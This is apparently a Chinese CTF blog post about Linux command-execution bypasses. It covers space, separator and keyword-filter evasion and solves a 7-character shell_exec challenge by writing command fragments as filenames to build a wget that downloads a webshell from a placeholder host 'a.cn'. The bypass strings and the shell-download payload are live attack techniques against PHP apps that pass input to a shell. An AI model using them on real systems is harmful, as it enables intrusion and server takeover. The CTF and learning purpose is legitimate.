Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

关于命令执行的初步学习

前言

在此之前写了一篇关于getshell的文章,主要是关于一些如何绕过限制的技巧的,这一篇可以理解为上一篇的后续,主要补充一些linux下命令执行的绕过技巧,以及如何通过仅限的长度来构造shell进行执行。

前置知识

现在很多题目都丢在docker中,一般docker环境都是linux,所以学好linux下的命令至关重要。接下来梳理一些常用命令:
wget:在后面接上下载文件的地址,可以将文件下载下来。-C参数可以将文件保存为你所要的文件名。这个命令一般用来下载shell,在无法写入shell的时候可以尝试。
>:定向输出到文件,如果文件不存在,就创建文件;如果文件存在,就将其清空。这个一般用法是通过 echo “内容” >文件名 的格式来将内容写入文件里面,一般是用来写入shell。
;:命令分隔符
…….
其他的命令自行查阅Linux常用命令大全

绕过技巧

一般来说,我们通过网页输入的命令会经过php代码的过滤以及转义处理才进而在服务器中执行,很多过滤操作也是由php代码来完成,所以很多绕过方式也是基于php环境的(例如上一篇的过滤绕过方式)。

命令符

这么说也不太贴切,主要是指`符号被过滤的情况下,具体作用在上一篇应该讲过。如果我们输入的命令被解析为字符串,那么使用这个符号就能让我们的命令被系统认为是命令来执行,所以在过滤了`这个情况下,我们如何使用其他的符号来使得我们的字符串被解析为命令呢?

1
$( 命令 )

这个就可以成功让其解析。

空格绕过

过滤的时候可能会通过过滤空格来阻止命令执行:

通过测试可以看见当在过滤了空格之后cat命令是无法执行的,但是无伤大雅,图中可以看到我们可以通过几种方式来绕过:
<
$IFS$9
${IFS}
$IFS在测试时发现,无法输出任何东西,主要原因是因为$IFS类似一个截断字符,具体原理也不详谈,总而言之就是将{}加入之后就能稳定的让命令执行。
还有一个在php环境下可以替代空格的字符%09,可以在php环境下进行测试。

命令分隔符

命令分隔符简而言之就是链接两个命令的符号,在linux中最为常见的就是;,但是依旧有替代的符号可以在过滤了;的情况下进行命令分隔:

可以看到最为基本的就是;进行分割,测试中发现|和&只能起到执行后者命令的作用,看大手子的文章是说执行了但不回显,具体原理不去深究,在php环境下如下字符也是可以起到命令分隔的作用的:

命令终止符

顾名思义就是终止命令的符号,有%00,%20也就是#的编码。

关键词过滤

这一部分在上一篇文章详细写过了,这里主要再提一些Linux下的绕过操作:

如上图所示,我列出了三种方法,第一种是通过构造几个变量,然后拼接而成;第二种和第一种类似,通过字符串的拼接来绕过关键词过滤;第三种则是编码绕过,最为常见的就是base64,在有其他环境的情况下还可以使用其他的编码,不过值得注意的是需要学会如何在linux下进行解码。

七个字的命令执行

这也是我参考了很多大牛写的有关命令执行的文章中所提到一个最开始研究这方向的原因,题目短小精简,代码如下:

1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

我一开始思路就是要么下一个shell,要么写入一个shell,但是发现这貌似有点行不通,例如当我们需要下载一个shell时,wget xxxx这里是肯定要超过8个字数限制的,然后写入shell这个思路怕是更加不行,我们写入的话必须用echo “xxx”>1,除去xxx单单必要的函数加符号就有8个,所以两种方式都不行。
根据大手子的文章,发现了一个>写入符号的特性,我们可以使用>1来建立一个名为1的文件,但是没有echo的存在是无法写入任何内容的。继续跟着思路走,既然我们可以建立很多文件,那我们有没有可能把文件名一个一个总的写入一个新的文件呢?大手子提到的第二个操作就是ls>a,ls列出所有的文件名然后写入a的新文件中:

但是如图所示写入之后发现有几个问题:第一就是写入的内容是通过ASCII码来进行排序的,也就是说我们这样写必须得时刻注意文件名开头的ASCII码排序,如果在写入shell时要注意这个问题的话太过烦琐了,这个时候就可以用时间排序来进行排列,ls -t排序是把最先创建的文件排在最后:

也就是说我们可以通过ls -t解决排序问题,接着就是没有办法写入<?>这几个符号,也就是说我们没办法写入shell,那只剩一条路了,就是通过写入wget a.cn来下载一个shell了:

但是这时候出现了一个问题,就是我们输入的内容没办法有效的当成命令来执行,这里就需要用到\这个转义符来拼接命令了,在例如ec ho时,我们可以通过转义换行符来拼接成echo这个命令,如下所示:

可以看到我们通过用\转义符替代了;以及成功转义了换行符成功拼接了命令,echo成功输出了1,所以思路出来了,我们构造如下命令就可以写入shell:

1
2
3
4
5
>1.php
>-O\ \\
>cn\ \\
>\ a.\\
>wget\\

参考文章:
浅谈CTF中命令执行与绕过的小技巧
从七个字符长度的任意命令执行到GetShell

HITCON2017-writeup整理

本站总访问量